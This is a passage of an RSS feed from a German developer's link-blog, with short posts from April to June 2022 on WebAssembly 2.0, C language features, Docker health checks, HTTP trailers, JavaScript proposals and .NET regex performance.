</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/19/1.html</guid><pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/wasm-core-2/&quot;&gt;Erste Spec für WebAssembly 2.0&lt;/a&gt; (&lt;a href=&quot;https://github.com/WebAssembly/spec/&quot;&gt;src&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Die Änderungen nach 1.0 sind &lt;a href=&quot;https://webassembly.github.io/spec/core/appendix/changes.html&quot;&gt;hier&lt;/a&gt;. Neu sind u. a. ein paar Vektor-Instruktionen. Damit können Compiler jetzt schon SIMD-Instruktionen ausgeben und die WASM-Runtime muss das nicht allein von selbst rausfinden.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>wasm</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/19/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/19/2.html</guid><pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Brave shippt jetzt mit einem Feature namens &lt;a href=&quot;https://brave.com/privacy-updates/18-de-amp/&quot;&gt;De-AMP&lt;/a&gt;. Damit umgeht man das AMP von Google, zwecks Privatsphäre.&lt;/p&gt;
&lt;p&gt;Die &lt;a href=&quot;https://news.ycombinator.com/item?id=31085051&quot;&gt;Kommentare auf HN&lt;/a&gt; sind auch interessant.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/19/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/19/3.html</guid><pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sehr kurzer Einblick, was x86 anders macht als andere Architekturen: &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20040914-00/?p=37873&quot;&gt;The x86 architecture is the weirdo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Update aus einem &lt;a href=&quot;https://news.ycombinator.com/item?id=31079832&quot;&gt;Kommentar auf HN&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The x86 has a small number (8) of general-purpose registers&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;x86-64 added more general-purpose registers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The x86 uses the stack to pass function parameters; the others use registers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;OS vendors switched to registers for x86-64.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The x86 forgives access to unaligned data, silently fixing up the misalignment.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now ubiquitous on application processors.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The x86 has variable-sized instructions. The others use fixed-sized instructions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ARM introduced Thumb-2, with a mix of 2-byte and 4-byte instructions, in 2003. PowerPC and RISC-V also added some form of variable-length instruction support. On the other hand, ARM turned around and dropped variable-length instructions with its 64-bit architecture released in 2011.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The x86 has a strict memory model … The others have weak memory models&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Still x86-only.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The x86 supports atomic load-modify-store operations. None of the others do.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As opposed to load-linked/store-conditional, which is a different way to express the same basic idea? Or is he claiming that other processors didn&apos;t support any form of atomic instructions, which definitely isn&apos;t true?
At any rate, ARM previously had load-linked/store-conditional but recently added a native compare-and-swap instruction with ARMv8.1.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The x86 passes function return addresses on the stack. The others use a link register.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Still x86-only.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/21/0.html</guid><pubDate>Thu, 21 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In C kann man &lt;a href=&quot;https://eli.thegreenplace.net/2011/02/15/array-initialization-with-enum-indices-in-c-but-not-c&quot;&gt;Arrays mit Enum-Membern initialisieren&lt;/a&gt;. Auszug:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;enum Fruit_t {
    APPLES,
    ORANGES,
    STRAWBERRIES = 8
};

void foo()
{
    static const int price_lookup[] = {
        [APPLES] = 6,
        [ORANGES] = 10,
        [STRAWBERRIES] = 55
    };
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/21/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/21/1.html</guid><pubDate>Thu, 21 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Noch ein Feature, das nicht viele kennen:
&lt;a href=&quot;https://hamberg.no/erlend/posts/2013-02-18-static-array-indices.html&quot;&gt;Statische Größenangaben bei Arrays in Funktionsparametern&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void bar(int myArray[static 10]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Checkt auf NULL-Pointer und prüft, ob die Größe des Arrays mindestens die geforderte Größe hat:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bar(NULL);
// warning: null passed to a callee which requires a non-null argument [-Wnonnull]
//     bar(NULL);
//     ^   ~~~~

int a[9];
bar(a);
// warning: array argument is too small; contains 9 elements, callee requires at least 10 [-Warray-bounds]
//     bar(a);
//     ^   ~

int b[11];
bar(b);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Noch ein Feature, das wenige kennen: Man kann angeben, dass ein Array so viele Elemente wie ein anderer Parameter der Funktion haben soll:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stddef.h&amp;gt;

void baz(size_t n, int b[static n]);

int main() {
    int a[] = {1, 2, 3, 4};
    baz(4, a); // ok

    baz(9, a); // warning: &apos;baz&apos; accessing 36 bytes in a region of size 16 [-Wstringop-overflow=]x86-64 gcc 11.2 #1

    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zumindest die Warnung ist GCC-spezifisch. Clang zeigt keine Warnung an. Konnte leider nicht rausfinden, ob dieses Feature generell eine Extension ist. Ich glaube, das war im Standard, allerdings nur für Dokumentationszwecke angedacht. Um das &quot;richtig&quot; zu Type-Checken fehlt C das notwendige Typsystem.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/24/0.html</guid><pubDate>Sun, 24 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Noch mehr C#-11-Preview: &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/csharp-11-preview-updates/&quot;&gt;C# 11 Preview Updates – Raw string literals, UTF-8 and more!&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/24/1.html</guid><pubDate>Sun, 24 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://atp.fm/205-chris-lattner-interview-transcript&quot;&gt;Chris Lattner on garbage collection vs. Automatic Reference Counting&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Chris Lattner ist der Designer von Swift und ursprünglicher Hauptauthor von LLVM.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/25/0.html</guid><pubDate>Mon, 25 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine halbe Datenstruktur: &lt;a href=&quot;https://en.wikipedia.org/wiki/Linked_timestamping&quot;&gt;Linked timestamping&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/26/0.html</guid><pubDate>Tue, 26 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interessant: Das Globale &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/nonce&quot;&gt;&lt;code&gt;nonce&lt;/code&gt;&lt;/a&gt;-Attribut in HTML. Interessant für alle, die CSP machen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/27/0.html</guid><pubDate>Wed, 27 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heute lernte ich die &lt;a href=&quot;https://docs.docker.com/engine/reference/builder/#/healthcheck&quot;&gt;&lt;code&gt;HEALTHCHECK&lt;/code&gt;-Instruktion&lt;/a&gt; bei Dockerfiles. Damit kann ein Container einen Befehl definieren, mit dem man rausbekommen kann, ob der Container gerade &quot;Healthy&quot; ist. Erinnert ein bisschen &lt;a href=&quot;https://mannes.tech/container-healthiness/&quot;&gt;an die Probes aus K8s&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HEALTHCHECK --start-period=10s --timeout=10s \
            CMD curl --fail http://localhost:80 || exit 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Man kann das auch in einer &lt;a href=&quot;https://howchoo.com/devops/how-to-add-a-health-check-to-your-docker-container&quot;&gt;Compose-File definieren&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/04/27/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/04/27/1.html</guid><pubDate>Wed, 27 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein schöner Talk von Matt Godbolt: &lt;a href=&quot;https://www.youtube.com/watch?v=bSkpMdDe4g4&quot;&gt;What Has My Compiler Done for Me Lately? Unbolting the Compiler&apos;s Lid&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Für die, die ihn nicht kennen: Das ist der, der den Compiler Explorer gebaut hat: https://gcc.godbolt.org&lt;/p&gt;
&lt;p&gt;Damit kann man sich anschauen, was für Assembler-Code verschiedene Compiler aus Code erzeugen. Mittlerweile auch für andere Sprachen als C und C++.&lt;/p&gt;
&lt;p&gt;Der Talk ist sehr schön und zeigt, was für Optimierungen der Compiler mittlerweile alle fährt. Ein Beispiel ist die Integer-Mulitplikation mit 2, also z. B. &lt;code&gt;x * 2&lt;/code&gt;. Spoiler: Es ist nicht &lt;code&gt;x &amp;lt;&amp;lt; 1&lt;/code&gt;. Aber auch ein paar größere Beispiele sind durchaus beeindruckend.&lt;/p&gt;
&lt;p&gt;Takeaway sollte sein: Optimiert nicht selbst, lasst das den Compiler machen.
Ich würde noch ergänzen: Wählt geeignete Datenstrukturen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/04/0.html</guid><pubDate>Wed, 04 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://johnpublic.mataroa.blog/blog/the-asshole-test/&quot;&gt;IBMs Asshole Test&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/06/0.html</guid><pubDate>Fri, 06 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;VS2022 kann neben normalen Breakpoints, conditional Breakpoints und Tracepoints jetzt auch &lt;a href=&quot;https://docs.microsoft.com/en-us/visualstudio/debugger/using-breakpoints?view=vs-2022&quot;&gt;&quot;temporary Breakpoints&quot;&lt;/a&gt; (Breakpoint, der nur 1x anschlägt) und &lt;a href=&quot;https://docs.microsoft.com/en-us/visualstudio/debugger/using-breakpoints?view=vs-2022&quot;&gt;&quot;dependent Breakpoints&quot;&lt;/a&gt; (schlägt nur an, wenn ein bestimmter anderer Breakpoint vorher angeschlagen hat) kann&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/11/0.html</guid><pubDate>Wed, 11 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein sehr interessanter Talk über undefined behaviour in C und C++: &lt;a href=&quot;https://youtu.be/yG1OZ69H_-o&quot;&gt;Garbage In, Garbage Out: Arguing about Undefined Behavior&lt;/a&gt; von Chandler Carruth; entwickelt für Google an LLVM und Clang.&lt;/p&gt;
&lt;p&gt;Er erklärt, warum UB im Kontext von C und C++ Sinn ergibt, gibt ein paar Beispiele und reflektiert, was für Fehler man im Standard und bei den Implementierungen gemacht hat.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/11/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/11/1.html</guid><pubDate>Wed, 11 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;JS-APIs, die kaum jemand kennt; heute: Dem Browser sagen, dass ein Textfeld für einen SMS-OPT-Code gedacht ist, mit WebOTP (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/WebOTP_API&quot;&gt;MDN&lt;/a&gt;, &lt;a href=&quot;https://wicg.github.io/web-otp/&quot;&gt;Standard&lt;/a&gt;, &lt;a href=&quot;https://web.dev/web-otp/&quot;&gt;Chrome-Blog&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Grundidee: Man setzt das &lt;code&gt;autocomplete&lt;/code&gt;-Attribut des &lt;code&gt;input&lt;/code&gt;-Elements auf &lt;code&gt;one-time-code&lt;/code&gt;, macht dann ein bisschen JavaScript und hat ein bestimmtes Format in der SMS, die man verschickt.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Fyrd/caniuse/issues/5486&quot;&gt;Auf CanIUse ist es noch nicht gelistet&lt;/a&gt;. Mozilla hat auch noch &lt;a href=&quot;https://mozilla.github.io/standards-positions/&quot;&gt;keine Stellung&lt;/a&gt; dazu. Der Standard kommt offenbar ausschließlich von Google.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/11/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/11/2.html</guid><pubDate>Wed, 11 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cloudflare hat für ihre Workers jetzt eine Datenbank: &lt;a href=&quot;https://blog.cloudflare.com/introducing-d1/&quot;&gt;D1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Was mich freut, ist, dass die auf SQLite basiert. Das zeigt, wie ausgewachsen SQLite ist.&lt;/p&gt;
&lt;p&gt;In dem Beispiel ihres Use-Cases sieht man, dass sie Raw-SQL für die DB-Abfragen benutzen.
Für genau diesen Use-Case baue ich gerade an einer prototypischen Lösung: &lt;a href=&quot;https://github.com/nikeee/sequelts&quot;&gt;sequelts&lt;/a&gt;. Die Idee: Man nutzt die Turingvollständigkeit vom TS-Typsystem, um SQL-Querys auf Typebene zu parsen und den Rückgabetypen zu inferieren.
Bald wird es als proof-of-concept noch mit sowas wie &lt;a href=&quot;https://www.npmjs.com/package/sql-template-strings&quot;&gt;sql-template-strings&lt;/a&gt; kombiniert. Wenn man das hat, hat man die Richtung für&apos;s Abfragen von Daten typsicher (und mit erzwungenen Prepared Statements auch &quot;secure&quot;).
Danach schaue ich weiter, in wie weit man sicherstellen kann, dass es keine Veränderungen an den Daten gibt, die nicht zulässig sind. Das steht aber noch in den Sternen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/11/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/11/3.html</guid><pubDate>Wed, 11 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.nvidia.com/blog/nvidia-releases-open-source-gpu-kernel-modules/&quot;&gt;NVIDIA Releases Open-Source GPU Kernel Modules&lt;/a&gt;. Der Code ist hier: &lt;a href=&quot;https://github.com/NVIDIA/open-gpu-kernel-modules&quot;&gt;github.com/NVIDIA/open-gpu-kernel-modules&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Edit:
Ich habe gerade mal durch die Readme geskimmt und das gesehen:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;To build:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make modules -j`nproc`
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;p&gt;Das wollte ich nicht glauben und hab es ausprobiert. Und tatsächlich, ein &lt;code&gt;git clone&lt;/code&gt;, gefolgt von &lt;code&gt;make&lt;/code&gt; lief komplett fehlerfrei durch. Dabei hab ich auf dem System nichtmal bestehende Nvidia Hard- oder Software, die der Code irgendwo noch referenzeiren könnte.&lt;/p&gt;
&lt;p&gt;So eine gute Dev-Experience bin ich von C-Projekten nicht gewohnt. Das wird sicher die Einstiegshürde für Contributions senken.&lt;/p&gt;
&lt;p&gt;Edit 2:
Eine Sache noch:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This code base is shared with NVIDIA&apos;s proprietary drivers, and various processing is performed on the shared code to produce the source code that is published here. This has several implications for the foreseeable future:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The github repository will function mostly as a snapshot of each driver release.&lt;/li&gt;
&lt;li&gt;We do not expect to be able to provide revision history for individual changes that were made to NVIDIA&apos;s shared code base. There will likely only be one git commit per driver release.&lt;/li&gt;
&lt;li&gt;[...]&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Hoffen wir mal, dass sie daran arbeiten, diese Strukturen noch aufzubrechen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/15/0.html</guid><pubDate>Sun, 15 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heute lernte ich: &lt;a href=&quot;https://sqlite.org/cli.html#accessing_zip_archives_as_database_files&quot;&gt;Die SQLite-CLI kann ZIP-Dateien öffnen&lt;/a&gt;. Der Inhalt ist dann in Form einer virtuellen Tabelle sichtbar.&lt;/p&gt;
&lt;p&gt;Weiter unten wird auch ein Command vorgestellt, das einem Indexe empfiehlt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/17/0.html</guid><pubDate>Tue, 17 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interessante CSS-Property, die die Browser schon seit Ewigkeiten können: &lt;a href=&quot;https://caniuse.com/text-stroke&quot;&gt;text-stroke&lt;/a&gt;. Leider implementieren es &lt;em&gt;alle&lt;/em&gt; Browser mit &lt;code&gt;-webkit&lt;/code&gt;-Präfix (auch Firefox).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/19/0.html</guid><pubDate>Thu, 19 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.getlago.com/blog/why-billing-systems-are-a-nightmare-for-engineers&quot;&gt;Why billing systems are a nightmare for engineers&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/05/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/05/30/0.html</guid><pubDate>Mon, 30 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sammlung nützlicher Tools: &lt;a href=&quot;https://evanhahn.com/a-decade-of-dotfiles/&quot;&gt;A decade of dotfiles&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>bash</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/07/0.html</guid><pubDate>Tue, 07 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Node.js bekommt ein &lt;a href=&quot;https://nodejs.org/api/util.html#utilparseargsconfig&quot;&gt;rudimentäres Command-Line-Parsing&lt;/a&gt;. Damit wären für viele kleineren Tools keine librarys mehr notwendig.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/08/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/08/0.html</guid><pubDate>Wed, 08 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20220608-00/?p=106727&quot;&gt;Is there a maximum size for Windows clipboard data? Because I’m getting null for something I know should be there&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/09/0.html</guid><pubDate>Thu, 09 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man kann seinen PGP-Key &lt;a href=&quot;https://pgp.governikus.de/pgp&quot;&gt;vom BSI mit dem ePerso signiren&lt;/a&gt;. Wäre vielleicht was für den Key, den man für Git verwendet.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/09/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/09/1.html</guid><pubDate>Thu, 09 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt in HTTP nicht nur Header, sondern auch &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Trailer&quot;&gt;Trailer&lt;/a&gt;. Damit kann man Infos nachgelagert an den Client senden.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/48180203&quot;&gt;Wie es aussieht&lt;/a&gt;, implementieren die Browser das aber nur für HTTP2+. &lt;a href=&quot;https://caniuse.com/?search=trailer&quot;&gt;Auf CanIUse&lt;/a&gt; sieht es merkwürdig aus.&lt;/p&gt;
&lt;p&gt;Gefunden habe ich dies in &lt;a href=&quot;https://webdevguild.com/blog/10-things-http/&quot;&gt;diesem Artikel über HTTP-Features&lt;/a&gt;. Dort wird auch ein Beispiel geliefert, wie die Trailer verwendet werden können, um Analyse-Timings an den Client auszuliefern:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const server = http.createServer(async function (req, res) {
  res.writeHead(200, {
    &quot;Content-Type&quot;: &quot;application/json&quot;,
    Trailer: &quot;Server-Timing&quot;,
  });

  const dbStart = performance.now();
  const data = await db.getData();
  const dbTime = performance.now() - dbStart;

  res.write(JSON.stringify(data));

  res.addTrailers({ &quot;Server-Timing&quot;: `db;dur=${dbTime}` });

  res.end();
});
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>http</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/12/0.html</guid><pubDate>Sun, 12 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Useful utilities and services over DNS: &lt;a href=&quot;https://dns.toys&quot;&gt;dns.toys&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/14/0.html</guid><pubDate>Tue, 14 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/tc39/proposal-array-find-from-last&quot;&gt;&lt;code&gt;Array#findLast&lt;/code&gt; und &lt;code&gt;Array#findLastIndex&lt;/code&gt;&lt;/a&gt; sind jetzt in Stage 4.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/14/1.html</guid><pubDate>Tue, 14 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich hab ja schon über den &lt;code&gt;AbortController&lt;/code&gt; geschrieben. U. A. auch über die Convinience-Method &lt;code&gt;AbortController.timeout(ms)&lt;/code&gt;. Da gibt es jetzt noch etwas mehr von:&lt;/p&gt;
&lt;p&gt;Einen Throw-Helper&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AbortSignal.throwIfAborted()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Und bald gibt&apos;s auch einen Combinator:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AbortSignal.any(signals)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Der ist noch &lt;a href=&quot;https://chromestatus.com/feature/5202879349522432&quot;&gt;in Entwicklung&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/14/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/14/2.html</guid><pubDate>Tue, 14 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Neues aus den Standards:&lt;/p&gt;
&lt;p&gt;Die schon in Stage 3 befindlichen Funktionen &lt;code&gt;groupBy&lt;/code&gt; und &lt;code&gt;groupyByToMap&lt;/code&gt; wurden noch umbenannt: &lt;a href=&quot;https://github.com/tc39/proposal-array-grouping&quot;&gt;Sie heißen jetzt &lt;code&gt;group&lt;/code&gt; und &lt;code&gt;groupToMap&lt;/code&gt;&lt;/a&gt;. Man hat eine JS-Lib gefunden, die den Array-Prototypen monkeypatched hat.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/tc39/proposal-string-dedent&quot;&gt;&lt;code&gt;String.dedent&lt;/code&gt;&lt;/a&gt;, um Einrückungen von Template-Strings zu fixen.&lt;/p&gt;
&lt;p&gt;Damit habe ich auch schon Probleme gehabt. Allerdings bin ich mir nicht sicher, ob man soeine Funktion mit guter DX umsetzen kann. In meinen Augen haben die immer Magie gemacht (sowas gibt es auch in Java und mittlerweile auch C#). Kennen tue ich das aus Xtend. Teilweise verändert sich das Verhalten, wenn man den String in einer eigenen Zeile anfängt oder es mit Tabs mischt.
Vielleicht ist es aber auch ganz einfach.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/tc39/proposal-json-parse-with-source&quot;&gt;Eine Erweiterung zu JSON.parse&lt;/a&gt;, mit der man feststellen kann, aus was für einem String-Wert ein geparster Wert kommt. Und gleichzeitig das Verhalten von &lt;code&gt;JSON.stringify&lt;/code&gt; zu verändern.
Colle Idee.
Damit kann man basteln, dass man Timestamps nach &lt;code&gt;JSON.parse&lt;/code&gt; schon parst. Damit spart man sich einen zweiten Verarbeitungsschritt. Oder man kann das Serialisieren von Timestamps in einen Unix-Timestamp umbiegen, wenn eine API das braucht.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/06/14/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/06/14/3.html</guid><pubDate>Tue, 14 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;MS hat in .NET 5 schon deutliche &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/regex-performance-improvements-in-net-5/&quot;&gt;Performancegewinne bei RegEx&lt;/a&gt; erzielen können.&lt;/p&gt;
&lt;p&gt;Das ist in .NET 7 &lt;a href=&quot;https://devblogs.microsoft.com/dotnet/regular-expression-improvements-in-dotnet-7/&quot;&gt;noch mal interessanter geworden&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Erste interessante Sache: Sie haben einen Source-Generator für RegEx gemacht. Damit wird das RegEx-Pattern zur Compile-Time der Anwendung schon kompiliert. Das spart Zeit bei dem initialen Aufruf und bietet ggf. noch Raum für mehr Optimierungen, weil es nicht zwangsweise schnell gehen muss. Dieser Generator ist allerdings Opt-In, weil man das RegEx-Objekt dafür auf eine bestimmte Art anlegen muss.&lt;/p&gt;
&lt;p&gt;RegEx-Engines verwenden in der Praxis üblicherweise Backtracking, um nach Matches zu suchen. Ein Mensch der theoretischen Informatik würde jetzt fragen &quot;warum das?&quot;. Der Hintergrund ist, dass RegEx in den meisten Sprachen doch etwas mehr kann, als reguläre Ausdrücke einer regulären Sprache (z. B. Lookback References).&lt;/p&gt;
